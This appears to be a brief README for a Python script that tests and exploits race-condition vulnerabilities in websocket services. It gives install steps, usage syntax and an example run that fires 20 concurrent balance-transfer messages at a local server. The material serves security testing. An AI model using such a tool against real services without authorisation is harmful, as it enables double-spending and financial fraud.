Simple python script to test and exploit race condition vulnerabilities in websockets
- Python 3
- Linux/Windows/MAC OSX
pip3 install -r requirements.txt
(+) usage: /WSS-Race-Condition-Tester/race-condition-test.py <url> <data> <threads> <number of requests to send>
python3 race-condition-test.py ws://localhost:9000 '{"action":"transfer_balance", "sender":"Alice", "receiver":"Bob", "amount":1}' 20 20
Number of requests sent: 20